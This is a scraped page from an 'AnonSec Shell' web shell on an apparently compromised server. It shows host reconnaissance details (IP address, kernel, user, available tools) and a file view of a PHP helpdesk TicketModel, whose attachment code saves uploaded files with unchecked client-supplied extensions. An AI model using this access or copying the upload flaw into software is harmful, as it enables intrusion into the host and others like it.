AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leve/application/plugins/module_helpdesk/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leve/application/plugins/module_helpdesk/models/TicketModel.php
<?php

include_once __DIR__ . "/../../../autoload/My_Model.php";
include_once __DIR__ . "/../factories/TicketFactory.php";

class TicketModel extends My_Model {

    /**
     * @var string
     */
    public $table = 'module_helpdesk_tickets';

    public function createTicket($data) {
        $ticket = self::create();
        TicketFactory::create($data, $ticket, true);
        $ticket->save();
        $this->saveUpdateProducts($ticket, $data);
        $this->updateattach($data, $ticket->id);
        if ($ticket->module_helpdesk_tickets_treatment_type_id == 3) {
            $this->updateAttachTypeTreatment($data, $ticket->id);
        }

        $this->saveAttachOffline($data, $ticket->id);
        $this->saveAttachTypeAtendenceOffline($data, $ticket->id);
        return $ticket;
    }

    private function saveAttachOffline($data, $id) {

        if (!empty($data['attachment_file_name'])) {
            $attach = $data['attachment_file_name'];
            $listfile = $data['attachment_file_data'];
            for ($i = 0; $i < count($listfile); $i++) {
                $dir = 'application/plugins/module_helpdesk/uploads/tickets';
                if (!is_dir($dir)) {
                    mkdir($dir, 0755, true);
                }
                $base_to_php = explode(',', $listfile[$i]);
                // the 2nd item in the base_to_php array contains the content of the image
                $data = base64_decode($base_to_php[1]);

                $ext = explode(".", $attach[$i]);

                $file = uniqid() . '.' . $ext[count($ext) - 1];
                file_put_contents($dir . '/' . $file, $data);

                $d = ORM::for_table('module_helpdesk_tickets_attach')->create();
                $d->src = $file;
                $d->name = $attach[$i];
                $d->module_helpdesk_tickets_id = $id;
                $d->save();
            }
        }
    }

    private function saveAttachTypeAtendenceOffline($data, $id) {

        if (!empty($data['attachment_type_attendence_file_name'])) {
            $attach = $data['attachment_type_attendence_file_name'];
            $listfile = $data['attachment_type_attendence_file_data'];
            for ($i = 0; $i < count($listfile); $i++) {
                $dir = 'application/plugins/module_helpdesk/uploads/tickets/type_atendence';
                if (!is_dir($dir)) {
                    mkdir($dir, 0755, true);
                }
                $base_to_php = explode(',', $listfile[$i]);
                // the 2nd item in the base_to_php array contains the content of the image
                $data = base64_decode($base_to_php[1]);

                $ext = explode(".", $attach[$i]);

                $file = uniqid() . '.' . $ext[count($ext) - 1];
                file_put_contents($dir . '/' . $file, $data);

                $d = ORM::for_table('module_helpdesk_tickets_type_attachment')->create();
                $d->src = $file;
                $d->name = $attach[$i];
                $d->module_helpdesk_tickets_id = $id;
                $d->save();
            }
        }
    }

    private function saveUpdateProducts($ticket, $data) {

        ORM::for_table('module_helpdesk_tickets_products')->where('module_helpdesk_tickets_id', $ticket->id)->delete_many();
        if (!empty($data['product_id'])) {

            foreach ($data['product_id'] as $p) {

                if (intval($p) > 0) {
                    $d = ORM::for_table('module_helpdesk_tickets_products')->create();
                    $d->product_cat_id = $data['product_cat_id'];
                    $d->product_id = intval($p);
                    $d->module_helpdesk_tickets_id = $ticket->id;
                    $d->save();
                }
            }
        }
    }

    public function getProducts($ticket) {
        return ORM::for_table('module_helpdesk_tickets_products')
                        ->table_alias('tp')
                        ->select('s.*')
                        ->select('tp.product_cat_id')
                        ->join('sys_items', array('s.id', '=', 'tp.product_id'), 's')
                        ->where('tp.module_helpdesk_tickets_id', $ticket->id)->find_many();
    }

    public function updateTicket($data, $ticket) {
        ORM::for_table($this->table)->create($ticket);
        TicketFactory::create($data, $ticket);
        $ticket->save();
        $this->saveUpdateProducts($ticket, $data);
        return $ticket;
    }

    public function deleteTicket($ticket) {
        ORM::for_table('module_helpdesk_tickets_products')->where('module_helpdesk_tickets_id', $ticket->id)->delete_many();
        ORM::for_table($this->table)->create($ticket);
        $ticket->deleted_at = date('Y-m-d H:i:s');
        $ticket->save();
        return $ticket;
    }

    public function updateAttach($data, $ticket) {
        if (isset($data['attachment']) && !empty($data['attachment'])) {
            $attachs = explode(',', $data['attachment']);
            foreach ($attachs as $t) {
                if (intval($t) > 0) {
                    $a = ORM::for_table('module_helpdesk_tickets_attach')->find_one($t);
                    $a->module_helpdesk_tickets_id = $ticket;
                    $a->save();
                }
            }
        }
    }

    public function updateAttachTypeTreatment($data, $ticket) {
        if (isset($data['attachment_type_atendence'])) {
            $attachs = explode(',', $data['attachment_type_atendence']);
            foreach ($attachs as $t) {
                if (intval($t) > 0) {
                    $a = ORM::for_table('module_helpdesk_tickets_type_attachment')->find_one($t);
                    $a->module_helpdesk_tickets_id = $ticket;
                    $a->save();
                }
            }
        }
    }

    public function saveFormData($data) {
        try{
            if (!empty($data)) {
                $ticket_id = $data['ticket_id'];
                $form_id = $data['form_id'];
                if (isset($data['not_update'])) {
                    $notUpdate = $data['not_update'];
                } else {
                    $notUpdate = array();
                }
                
                unset($data['ticket_id']);
                unset($data['form_id']);
                unset($data['not_update']);
    
                $delete = ORM::for_table('module_helpdesk_form_data')->where('ticket_id', $ticket_id);
                //não deixa remover registros não alterados no caso de edição
    
                if (!empty($notUpdate)) {
                    $delete->where_not_in('id', $notUpdate);
                }
    
                $delete->delete_many();
                header('Content-Type: application/json');
                foreach ($data as $key => $value) {
                    if(empty($value)){
                        continue;
                    }
                    if (in_array(@$value[3], $notUpdate)) {
                        // TODO: VERIFICAR A NECESSIDADE DE DELETAR PARA DEPOIS REINSERIR
                        $r = ORM::for_table('module_helpdesk_form_data')->where('id', $value[3])->find_array();
                        $d = ORM::for_table('module_helpdesk_form_data')->create();
                        $d->ticket_id = $r[0]['ticket_id'];
                        $d->form_id = $r[0]['form_id'];
                        $d->question_id = $r[0]['question_id'];
                        $d->question_type = $r[0]['question_type'];
                        $d->field = $r[0]['field'];
                        $d->value = $r[0]['value'];
                        $d->save();
                        ORM::for_table('module_helpdesk_form_data')->where('id', $value[3])->delete_many();
                        continue; //esse não salva pois está marcado que não foi editado
                    }
                    $field_value = isset($value[5]) ? $value[5] : null;
                    $fieldName = $value[2];
    
                    if ($value[1] == 'module_helpdesk_add_more') {
                        continue;
                    } else if ($value[1] == 'module_helpdesk_singnature') {
                        if(!empty($value[5])){
                            $file_return = TicketController::addSingnature($ticket_id, $value[5], 'singnature');
                            if($file_return['success'] === true){
                                $field_value = $file_return['file'];
                                $fieldName = isset($value[6]) ? $value[6] : $value[2];
                            } else {
                                return $file_return['msg'];
                            }
                        } else {
                            return 'ERROR | ASSINATURA EM BRANCO NÃO É PERMITIDO';
                        }
                    } else if ($value[1] == 'file_upload') {
    
                    //                    if(isset($value[5])&& isset($_FILES[$value[5]])){
                    //                                        $file_name = TicketController::add_attach_form($ticket_id, $value[5], 'attach');
                    //                                        $field_value = $file_name;
                    //                    }else{
                    //                        $field_value='';
                    //                    }
                        if(!empty($value[5])){
                            $file_return = TicketController::addAttachBase64($ticket_id, $value[5], $value[6], 'attach');
                            if($file_return['success'] === true){
                                $field_value = $file_return['file'];
                            } else {
                                return $file_return['msg'];
                            }
                        } else {
                            return 'ERROR | ARQUIVO NÃO ANEXADO';
                        }
                    } else if ($value[1] == 'email') {
                        $emails = explode(';', $value[5]);
                        $msg = "Olá,<br>O Ticket nº " . $ticket_id . " acabou de receber o preenchimento de uma ficha. "
                                . "Para avaliar utilize o link abaixo: " . U . "module_helpdesk/ticket/view/" . $ticket_id . "/pdf.<br><br>"
                                . "####Este é um e-mail automático, por favor não responda.####";
    
                        // foreach ($emails as $email) {
                        //     $email = trim($email);
                        //     $name = explode('@', $email);
                        //     Notify_Email::_send($name[0], $email, 'HELP DESK HEXAGON | TICKET: ' . $ticket_id . ' | NOVA FICHA', $msg);
                        // }
                    } else if ($value[1] == 'module_helpdesk_components') {
                        $field_value = $value[5] . ' | QTD: ' . @$value[6] . ' | PROBLEMA: ' . @$value[7] . ' | SOLUÇÃO: ' . @$value[8] . ' | OBS: ' . @$value[9];
                    } else if ($value[1] == 'module_helpdesk_orcamentos') {
                        $field_value = $value[5] . ' | QTD: ' . @$value[6] . ' | VALOR: ' . @$value[7] . ' | OBS: ' . @$value[8];
                    } else if ($value[1] == 'checkbox') {
                        $count_itens = (count($value) - 5) / 2;
                        //                    var_dump($count_itens);exit;
                        for ($i = 0; $i < $count_itens; $i++) {
                            $field_index = 4 + (2 * $i) + 1;
                            $value_index = $field_index + 1;
    
                            $d = ORM::for_table('module_helpdesk_form_data')->create();
                            $d->ticket_id = $ticket_id;
                            $d->form_id = $form_id;
                            $d->question_id = $value[0];
                            $d->question_type = $value[1];
                            $d->field = $value[2] . " | " . $value[$field_index];
                            $d->value = $value[$value_index];
                            $d->save();
                        }
                        continue;
                    } else if ($value[1] == 'multiple_choice') {
                        $temp = $value;
                        unset($temp[0]);
                        unset($temp[1]);
                        unset($temp[2]);
                        unset($temp[3]);
                        unset($temp[4]);
                        if (is_array($temp)) {
                            $field_value = implode("|", $temp);
                        } else {
                            $field_value = '';
                        }
                    } else if ($value['1'] == 'module_helpdesk_ticket_number') {
                        //regra para setar o numero do ticket, que não tem quando vem offline
                        $field_value = $ticket_id;
                    }
    
                    // Insiro os dados 
                    try {
                        $d = ORM::for_table('module_helpdesk_form_data')->create();
                        $d->ticket_id = $ticket_id;
                        $d->form_id = $form_id;
                        $d->question_id = $value[0];
                        $d->question_type = $value[1];
                        $d->field = $fieldName;
                        $d->value = $field_value;
                        $d->save();
                    } catch (Exception $e) {
                        return "Exceção capturada: COD: 290 | " . $e->getMessage();
                        // TODO: VERIFICAR SE NÃO DEVE RETORNO FALSE E APAGAR TODAS AS ENTRADAS PARA ESSE TICKET
                    }
                }
                return true;
            } else {
                return "ERROR | COD: 296 | FORMULÁRIO ENVIADO É VAZIO";
            }
        } catch (Exception $e) {
            return "Exceção capturada: " . $e->getMessage();
        }
    }

}

Anon7 - 2022
AnonSec Team